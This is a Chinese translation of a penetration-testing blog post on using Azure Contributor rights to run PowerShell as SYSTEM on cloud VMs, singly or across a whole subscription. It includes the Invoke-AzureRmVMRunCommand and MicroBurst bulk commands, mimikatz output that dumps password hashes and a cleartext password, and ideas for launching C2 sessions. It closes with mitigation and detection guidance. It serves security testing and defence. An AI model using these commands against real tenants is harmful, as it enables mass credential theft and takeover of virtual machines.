攻防技术:如何在Azure VMs中大规模运行PowerShell

41yf1sh 技术 2019年2月14日发布
Favorite收藏

导语:假如有这样一个场景:你正在进行渗透测试,而Azure基础结构也在渗透的授权范围之内(理应如此),并且你可以访问针对Azure订阅具有Contributor(管理)权限的域帐户。Contributor权限通常难以通过渗透测试获得,但是这一权限通常会授予开发人员。

概述

假如有这样一个场景:你正在进行渗透测试,而Azure基础结构也在渗透的授权范围之内(理应如此),并且你可以访问针对Azure订阅具有Contributor(管理)权限的域帐户。Contributor权限通常难以通过渗透测试获得,但是这一权限通常会授予开发人员。如果幸运的话,管理员可能会添加域用户组作为订阅的Contributor。或者,我们干脆假设,我们能够获得较低权限的用户,并可以实现权限提升,提升到Contributor帐户。

在这时,我们可以尝试收集可用的凭据,转储配置数据,并尝试进一步访问订阅中的其他帐户(Owners拥有者 / Domain Admins域名管理员)。在本文的场景中,我们假设已经尝试了所有的方法,但仍然卡在一个具有部分特权的用户上,我们无法转向其他订阅(或内部域)。在这时,我们可能会将目标转到虚拟机上。

攻击虚拟机

在攻击虚拟机时,我们可以做一些有影响力的测试,比如拉取VHD文件的快照。但这一过程比较艰难,没有人想要下载100多个GB的磁盘映像。由于我们善于借助工具,因此打算尝试在虚拟机上执行命令。在本文的场景中,我们假设没有公开暴露的虚拟机,并且我们不希望打开任何防火墙端口以允许RDP或其他远程管理协议。

即使没有远程管理协议,我们也可以通过几种不同的方式,在Azure环境中实现代码执行。我们可以使用Azure Automation在Azure虚拟机上运行命令。但在本文中,我们将重点关注Invoke-AzureRmVMRunCommand函数,这个函数是AzureRM模块的一部分。

这个便捷的命令,将允许具有Contributor权限的任何人,在订阅的任何Azure虚拟机上,以NT Authority\System身份运行PowerShell脚本。这样一来,就可以以System权限实现虚拟机命令执行。

运行单个命令

我们从PowerShell的AzureRM会话(Session)中运行该命令,这一过程使用Contributor帐户进行身份验证。我们可以使用Login-AzureRmAccount命令对Azure进行身份验证。

Invoke-AzureRmVMRunCommand -ResourceGroupName VMResourceGroupName -VMName VMName -CommandId RunPowerShellScript -ScriptPath PathToYourScript

接下来,我们逐一分析其中的参数:

1、ResourceGroupName:虚拟机的资源组。

2、VMName:虚拟机名称。

3、CommandId:要在Azure中运行的命令的存储类型。

其中,“RunPowerShellScript”允许我们上传和运行PowerShell脚本,我们在这里只使用CommandId。

4、ScriptPath:想要运行的PowerShell PS1文件的路径。

我们可以使用Get-AzureRmVM命令获取VMName和ResourceGroupName。要想让过滤操作更为容易,可以使用如下命令:

PS C:\> Get-AzureRmVM -status | where {$_.PowerState -EQ "VM running"} | select ResourceGroupName,Name
 
ResourceGroupName    Name       
-----------------    ----      
TESTRESOURCES        Remote-Test

在这个例子中,我们在Invoke-Mimikatz.ps1文件的末尾添加了额外的一行(Invoke-Mimikatz),以便在导入后运行该函数。下面是虚拟机上Invoke-Mimikatz.ps1尝试运行的过程(没有登陆到真实的帐户):

PS C:\> Invoke-AzureRmVMRunCommand -ResourceGroupName TESTRESOURCES -VMName Remote-Test -CommandId RunPowerShellScript -ScriptPath Mimikatz.ps1
Value[0]        :
  Code          : ComponentStatus/StdOut/succeeded
  Level         : Info
  DisplayStatus : Provisioning succeeded
  Message       :   .#####.   mimikatz 2.0 alpha (x64) release "Kiwi en C" (Feb 16 2015 22:15:28) .## ^ ##. 
 ## / \ ##  /* * *
 ## \ / ##   Benjamin DELPY `gentilkiwi` ( [email protected] )
 '## v ##'   http://blog.gentilkiwi.com/mimikatz             (oe.eo)
  '#####'                                     with 15 modules * * */
 
mimikatz(powershell) # sekurlsa::logonpasswords
 
Authentication Id : 0 ; 996 (00000000:000003e4)
Session           : Service from 0
User Name         : NetSPI-Test
Domain            : WORKGROUP
SID               : S-1-5-20        
        msv :
         [00000003] Primary
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * LM       : d0e9aee149655a6075e4540af1f22d3b
         * NTLM     : cc36cf7a8514893efccd332446158b1a
         * SHA1     : a299912f3dc7cf0023aef8e4361abfc03e9a8c30
        tspkg :
         * Username : NetSPI-Test
         * Domain   : WORKGROUP
         * Password : waza1234/
mimikatz(powershell) # exit
Bye!  
Value[1] : Code : ComponentStatus/StdErr/succeeded
Level : Info
DisplayStatus : Provisioning succeeded
Message :
Status : Succeeded
Capacity : 0
Count : 0

如果我们想要在几台虚拟机上,逐一运行自定义的PS脚本,那么上述方法非常实用。但是,假如我们想要将这种方法扩展到整个订阅呢?

运行多个命令

我已经将Invoke-AzureRmVMBulkCMD函数添加到MicroBurst,从而允许针对订阅中的多个虚拟机执行脚本。借助这一功能,我们可以针对整个订阅、特定资源组或单独的主机列表执行命令。

MicroBurst源代码请参见:https://github.com/NetSPI/MicroBurst

在我们的演示中,我们将针对测试订阅中的全部虚拟机(共有5个)运行Mimikatz,并将脚本的输出结果写入到日志文件。

Import-module MicroBurst.psm1
Invoke-AzureRmVMBulkCMD -Script Mimikatz.ps1 -Verbose -output Output.txt
Executing Mimikatz.ps1 against all (5) VMs in the TestingResources Subscription
Are you Sure You Want To Proceed: (Y/n):
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EastUS2 - (10.2.10.4 : 52.179.214.3) virtual machine (1 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EastUS2 - (10.2.10.4 : 52.179.214.3)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-EAsia - (10.2.9.4 : 65.52.161.96) virtual machine (2 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-EAsia - (10.2.9.4 : 65.52.161.96)
VERBOSE: Script Execution Completed in 99 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanE - (10.2.12.4 : 13.78.40.185) virtual machine (3 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanE - (10.2.12.4 : 13.78.40.185)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-JapanW - (10.2.13.4 : 40.74.66.153) virtual machine (4 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-JapanW - (10.2.13.4 : 40.74.66.153)
VERBOSE: Script Execution Completed in 69 seconds
VERBOSE: Running .\Mimikatz.ps1 on the Remote-France - (10.2.11.4 : 40.89.130.206) virtual machine (5 of 5)
VERBOSE: Script Status: Succeeded
VERBOSE: Script output written to Output.txt
VERBOSE: Script Execution Completed on Remote-France - (10.2.11.4 : 40.89.130.206)
VERBOSE: Script Execution Completed in 98 seconds

演示过程:https://blog.netspi.com/wp-content/uploads/2018/10/Mimikatz-med.gif

在上面的链接中,已经进行了加速播放,从而能快速演示给大家看。但在我们的测试订阅中,要想在5个虚拟机上运行Mimikatz,所需花费的总计时间为7分14秒。尽管在时间上并不理想,但这个方法却是非常实用的。在这里,受研究时间所限,我没有采用多线程的方式,大家可以根据这一思路自行尝试,我也欢迎大家与我进行探讨。

其他思路

由于需要演示,我们在所有虚拟机上都运行了Mimikatz。这很好,但可能不是你的最佳选择。针对不同的需求,我们可能会需要其他PowerShell选项:

1、产生Cobalt Strike、Empire或Metasploit Session;

2、搜索敏感文件;

3、在一个虚拟机上运行域信息收集脚本,并使用输出结果来定位某个特定虚拟机,从而执行代码。

性能问题

友情提示,这一切都是在演示环境中完成的。如果你打算在实际中应用这种方法,请记住,不是所有Azure区域或者虚拟机映像都会以相同的方式响应。我发现,针对某些特定区域和特定虚拟机,更适合运行这些命令。在针对美国地区之外的Azure区域使用命令的过程中,我遇到了一些停止、无法执行的问题。

但在大多数情况下,我对美国地区和标准版Windows Server 2012映像都非常满意。在我的实际测试中,Invoke-Mimikatz.ps1脚本通常需要约30-60秒才能运行。请记住,每次执行都必须将脚本上载到虚拟机,并且某些虚拟机可能不具有如此强大的能力。

缓解与检测

如果你是正在阅读这篇文章的管理员,请务必注意Owner和Contributor的权限。假如说阅读本文后你只能明白一个道理,那么这个道理就是:Contributor权限就等同于所有虚拟机的SYSTEM权限。

如果要降低Contributor执行这些命令的权限,可以为Contributor创建一个新角色,并限制用户的Microsoft.Compute/virtualMachines/runCommand/action权限。

此外,如果想要检测这一问题,请关注“Run Command on Virtual Machine”(虚拟机运行命令)日志条目。为该条目设置告警非常容易,除非Invoke-AzureRmVMRunCommand是虚拟机管理过程中必须要使用的,否则应该能轻松检测到有人使用了此命令。

以下告警逻辑,能够在任何人尝试使用此命令(包括成功和失败)时通知你。除此之外,你还可以将告警的范围扩展到订阅中的所有虚拟机。

alertLogic.png

与往常一样,如果你对此脚本有任何疑问、建议或改进意见,请随时通过MicroBurst的Github页面与我们取得联系。

本文翻译自:https://blog.netspi.com/running-powershell-scripts-on-azure-vms/如若转载,请注明原文地址: https://www.4hou.com/technology/14447.html
点赞 0
  • 分享至
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

发表评论